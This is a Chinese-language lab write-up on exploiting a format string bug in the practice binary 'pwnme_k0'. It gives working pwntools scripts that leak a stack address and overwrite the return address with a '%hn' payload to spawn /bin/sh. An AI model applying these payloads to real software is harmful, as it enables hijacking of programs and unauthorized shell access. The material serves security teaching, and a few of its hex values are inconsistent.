实验目的
掌握格式化字符串漏洞的原理以及在漏洞利用中的应用.
实验条件
- 操作系统:Linux
- 语言环境:python
- 调试器:gdb、IDA Pro
实验原理
利用格式化字符串修改返回地址,以在函数返回时获取shell。
实验步骤
检查保护,发现开启了
RELRO
和NX
保护;通过IDA进行反编译,发现在函数
sub_400B07
中存在格式化字符串漏洞,分析是由printf(buf)
造成的;查看函数
sub_400B07
中的汇编语句发现
printf
只压入了一个格式化的format
参数,没有其它参数,下述根据程序运行过程可知,sub_400B07
函数用于执行选项1,查看用户信息;1
2
31.Sh0w Account Infomation! #查看用户信息,不需要参数
2.Ed1t Account Inf0mation! #编辑用户信息,需要参数
3.QUit sangebaimao:( #退出使用gdb在
0x400B28
处下断点进行调试,输入用户名、密码为qq
,选择选项1,运行到断点出;
发现要执行的命令为call 0x400770
,而0x400770
是GOT
表中printf
函数根据64位系统的特征,前六个参数会依次存放在
rdi
、rsi
,rdx
,rcx
,r8
,r9
中,之后的参数才存放在栈上,因为rdi
中存放了format
参数,所以rsi
存放了printf
函数的第1个实际参数,r9
存放了第5个实际参数,那么栈顶第一个元素就是第6个实际参数,因此通过构造username的值为%6$p
,将栈顶的第一个元素输出;根据上图调试栈中的内容,
0x7fffffffddb8
是栈顶第二个元素,存放了返回地址,而栈顶第一个元素存放了一个地址0x74ffffffddf0
,后者减去前者得到0x38
,因此只要泄露栈顶内容,再减去0x38
,即可得到函数返回地址在栈中的位置,进而进行覆盖;构造脚本如下,即可找到泄露出的返回地址在栈中的位置为
0x7ffd6ee4a728
(每次运行返回地址都在变化);1
2
3
4
5
6
7
8
9
10from pwn import *
r = process("./pwnme_k0")
r.recv()
r.sendline("%6$p")
r.recv()
r.sendline("mypassword")
r.recv() r.sendline("1")
r.recvuntil("0x")
retn_addr = int(r.recvline().strip(), 16) - 0x38
print "retn_addr = " + hex(retn_addr)分析栈中内容,发现
username
相当于printf
的第8个参数,想要把返回地址覆盖,可以使用% num $ hn
,就是把本次输出的字节数写入到第num个参数指向的位置从IDA中很明显可以找到system(“/bin/sh”)的地址为
0x4008a6
因此,只需要编辑用户资料,将username改为函数返回地址(栈顶的第二个元素),将password改为
%2214d%8$hn
,即把0x08a6
写入到username指向的位置(0x086a==2214d
),改完后查看用户资料,调出/bin/sh
;脚本如下;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from pwn import *
p = process("./pwnme_k0")
#泄露返回地址
p.recv()
p.sendline("%6$p")
p.recv()
p.sendline("mypassword")
p.recv()
p.sendline("1")
p.recvuntil("0x")
retn_addr = int(p.recvline().strip(),16)-0x38
print "retn_addr="+hex(retn_addr)
#利用%num$hn覆写返回地址
p.recv()
p.sendline("2")
p.recv()
p.sendline(p64(retn_addr))
p.recv()
p.sendline("%2214d%8$hn")
#查看用户资料从而调用/bin/sh
p.recv()
p.sendline("1")
p.recv()
p.interactive()执行脚本,成功getshell.